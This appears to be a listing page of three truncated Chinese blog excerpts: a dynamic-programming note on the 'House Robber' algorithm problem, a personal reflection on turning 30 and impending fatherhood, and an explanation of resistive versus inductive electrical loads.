代碼隨想錄算法訓練營第五十天 198.打家劫舍 題目鏈接&#xff1a;198.打家劫舍 確定dp數組以及下標的含義&#xff1a;dp[i]&#xff1a;考慮下標i&#xff08;包括i&#xff09;以內的房屋&#xff0c;最多可以偷竊的金額為dp[i]。確定遞推公式&#xff1a;max(dp[i - 1],…

開個新專欄,叫吾日三醒吾身,這個我打算得到了感悟就更新

打算開個新專欄&#xff0c;還有4年就30歲了。人生如夢啊&#xff0c;過的真快&#xff0c;家里的寶寶也還有2個月就出生了&#xff0c;都快要當父親啦&#xff0c;感覺這輩子還沒做啥很牛的事情。所以就立個flag吧。 自考還沒考過&#xff0c;就3門了&#xff0c;考了3年了&a…

阻性負載和感性負載的區別

1.阻性負載&#xff1a; 阻性負載是指電路中只包含電阻元件的情況。這種負載會使得電流與電壓之間呈現出線性關系&#xff0c;即滿足歐姆定律。 當負載電流負載電壓沒有相位差時負載為阻性(如負載為白熾燈、電爐)。 2.感性負載&#xff1a; 感性負載指的是電路中含有電感元…